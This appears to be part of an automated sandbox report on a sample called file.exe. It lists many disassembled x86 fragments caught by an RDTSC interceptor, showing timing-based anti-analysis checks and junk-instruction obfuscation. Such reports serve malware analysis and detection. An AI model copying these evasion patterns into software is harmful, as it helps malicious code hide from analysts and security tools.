Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55866 second address: C558C1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007F15B4F0F8D8h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 call 00007F15B4F0F8DFh 0x00000028 jmp 00007F15B4F0F8DEh 0x0000002d pop ecx 0x0000002e mov dword ptr [ebp+122D3D6Dh], edi 0x00000034 lea eax, dword ptr [ebp+1247A5DDh] 0x0000003a movsx edx, dx 0x0000003d nop 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C558C1 second address: C3E796 instructions: 0x00000000 rdtsc 0x00000002 je 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c jmp 00007F15B4B26165h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F15B4B26158h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c call 00007F15B4B26169h 0x00000031 jng 00007F15B4B2615Ah 0x00000037 mov cx, 6F18h 0x0000003b pop edx 0x0000003c call dword ptr [ebp+122D3E90h] 0x00000042 jbe 00007F15B4B2616Ch 0x00000048 push ecx 0x00000049 pushad 0x0000004a popad 0x0000004b pushad 0x0000004c popad 0x0000004d pop ecx 0x0000004e pushad 0x0000004f push esi 0x00000050 pop esi 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55970 second address: C55976 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55F30 second address: C55F37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C55FB3 second address: C56017 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pop esi 0x0000000d popad 0x0000000e mov dword ptr [esp], esi 0x00000011 push 00000000h 0x00000013 push ebp 0x00000014 call 00007F15B4F0F8D8h 0x00000019 pop ebp 0x0000001a mov dword ptr [esp+04h], ebp 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ebp 0x00000027 push ebp 0x00000028 ret 0x00000029 pop ebp 0x0000002a ret 0x0000002b or edx, dword ptr [ebp+122D2B33h] 0x00000031 nop 0x00000032 jmp 00007F15B4F0F8E6h 0x00000037 push eax 0x00000038 je 00007F15B4F0F8E4h 0x0000003e push eax 0x0000003f push edx 0x00000040 jbe 00007F15B4F0F8D6h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56185 second address: C56189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56189 second address: C5618D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5618D second address: C561A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jo 00007F15B4B26164h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F15B4B26156h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C569CE second address: C569D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56A51 second address: C56A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56A58 second address: C56B21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or cl, 00000001h 0x0000000f lea eax, dword ptr [ebp+1247A621h] 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F15B4F0F8D8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Bh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f pushad 0x00000030 call 00007F15B4F0F8E3h 0x00000035 or cx, 828Ch 0x0000003a pop edi 0x0000003b jmp 00007F15B4F0F8E6h 0x00000040 popad 0x00000041 nop 0x00000042 jl 00007F15B4F0F8EAh 0x00000048 push eax 0x00000049 jo 00007F15B4F0F8EDh 0x0000004f pushad 0x00000050 push esi 0x00000051 pop esi 0x00000052 jmp 00007F15B4F0F8E3h 0x00000057 popad 0x00000058 nop 0x00000059 mov edi, dword ptr [ebp+122D2E9Bh] 0x0000005f add di, E5F3h 0x00000064 lea eax, dword ptr [ebp+1247A5DDh] 0x0000006a mov dword ptr [ebp+122D299Eh], ecx 0x00000070 push eax 0x00000071 pushad 0x00000072 pushad 0x00000073 push edx 0x00000074 pop edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56B21 second address: C3F29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F15B4B26158h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F15B4B26158h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000017h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 jmp 00007F15B4B26165h 0x0000002e mov dword ptr [ebp+122D3EE0h], ebx 0x00000034 call dword ptr [ebp+1244BF80h] 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DCA0 second address: C9DCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DCA4 second address: C9DCCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jne 00007F15B4B26156h 0x0000000f jmp 00007F15B4B26168h 0x00000014 push edi 0x00000015 pop edi 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E114 second address: C9E118 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B66 second address: CA3B70 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F15B4B26156h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B70 second address: CA3B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B76 second address: CA3B8D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F15B4B2615Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B8D second address: CA3B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3B94 second address: CA3B99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA35A7 second address: CA35B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA35B2 second address: CA35B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3859 second address: CA3882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 jmp 00007F15B4F0F8DBh 0x0000000c jg 00007F15B4F0F8E3h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F98 second address: CA6F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6F9C second address: CA6FA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FA4 second address: CA6FBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4B26164h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FBC second address: CA6FE2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15B4F0F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F15B4F0F8E4h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FE2 second address: CA6FE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FE6 second address: CA6FF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4F0F8DDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA6FF9 second address: CA7009 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15B4B2615Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACE95 second address: CACEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F15B4F0F8D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CACEA1 second address: CACEA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5648D second address: C56498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F15B4F0F8D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C56498 second address: C564D3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F15B4B26160h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e mov ecx, dword ptr [ebp+122D3D6Dh] 0x00000014 push 00000004h 0x00000016 jbe 00007F15B4B2615Fh 0x0000001c jnl 00007F15B4B26159h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jnc 00007F15B4B26156h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C564D3 second address: C564DD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F15B4F0F8D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADB8A second address: CADB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADB90 second address: CADBB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F15B4F0F8DEh 0x0000000f je 00007F15B4F0F8D6h 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADBB3 second address: CADBB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0EEC second address: CB0EF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F15B4F0F8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0EF6 second address: CB0F08 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F15B4B26156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F15B4B2615Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB11DF second address: CB121D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F15B4F0F8DEh 0x0000000c jg 00007F15B4F0F8D6h 0x00000012 pop eax 0x00000013 pop esi 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 pop edi 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F15B4F0F8E6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB1664 second address: CB168E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26164h 0x00000007 jmp 00007F15B4B26162h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB168E second address: CB16AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B4F0F8E9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB16AB second address: CB16CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15B4B26166h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB16CC second address: CB16D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB16D0 second address: CB16DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6E65 second address: CB6E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6E69 second address: CB6E84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4B26161h 0x00000007 jnl 00007F15B4B26156h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6E84 second address: CB6E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F15B4F0F8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6E8E second address: CB6E92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6E92 second address: CB6E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7CCB second address: CB7CCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7CCF second address: CB7CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F15B4F0F8E7h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7CF0 second address: CB7CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8876 second address: CB8882 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F15B4F0F8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCBB5 second address: CBCBBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCBBE second address: CBCBC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCD03 second address: CBCD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBCD09 second address: CBCD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC3477 second address: CC348A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F15B4B26156h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F15B4B26156h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9A57 second address: CC9AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F15B4F0F8D6h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F15B4F0F8DAh 0x00000011 jg 00007F15B4F0F8D6h 0x00000017 jmp 00007F15B4F0F8DBh 0x0000001c popad 0x0000001d pop ecx 0x0000001e pushad 0x0000001f pushad 0x00000020 jmp 00007F15B4F0F8E8h 0x00000025 js 00007F15B4F0F8D6h 0x0000002b popad 0x0000002c je 00007F15B4F0F8DCh 0x00000032 jns 00007F15B4F0F8D6h 0x00000038 pushad 0x00000039 js 00007F15B4F0F8D6h 0x0000003f push edi 0x00000040 pop edi 0x00000041 popad 0x00000042 pushad 0x00000043 jnc 00007F15B4F0F8D6h 0x00000049 jmp 00007F15B4F0F8E1h 0x0000004e jmp 00007F15B4F0F8E0h 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA1A7 second address: CCA1AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA317 second address: CCA332 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F15B4F0F8D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA472 second address: CCA47C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F15B4B26156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCA74D second address: CCA751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCAF6A second address: CCAF79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 jnp 00007F15B4B2615Eh 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC9637 second address: CC964D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0022 second address: CD0040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4B26168h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD0040 second address: CD007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4F0F8E5h 0x00000009 popad 0x0000000a jc 00007F15B4F0F8ECh 0x00000010 jmp 00007F15B4F0F8E6h 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2F23 second address: CD2F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD2F2C second address: CD2F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4F0F8DEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD5F9C second address: CD5FA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE73FD second address: CE7403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7403 second address: CE7407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7407 second address: CE740D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE740D second address: CE7429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F15B4B26163h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7429 second address: CE742E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE742E second address: CE7433 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF25C3 second address: CF25C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3B7F second address: CF3B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F15B4B26163h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D025A9 second address: D025C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B4F0F8E4h 0x00000007 jng 00007F15B4F0F8D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D025C7 second address: D025CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D025CD second address: D025D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D00EC9 second address: D00ECF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D011AB second address: D011B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F15B4F0F8D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01738 second address: D0173E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D018F0 second address: D01925 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15B4F0F8D6h 0x00000008 jmp 00007F15B4F0F8E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F15B4F0F8E2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01925 second address: D0192E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0622B second address: D06243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F15B4F0F8E3h 0x0000000a rdtsc
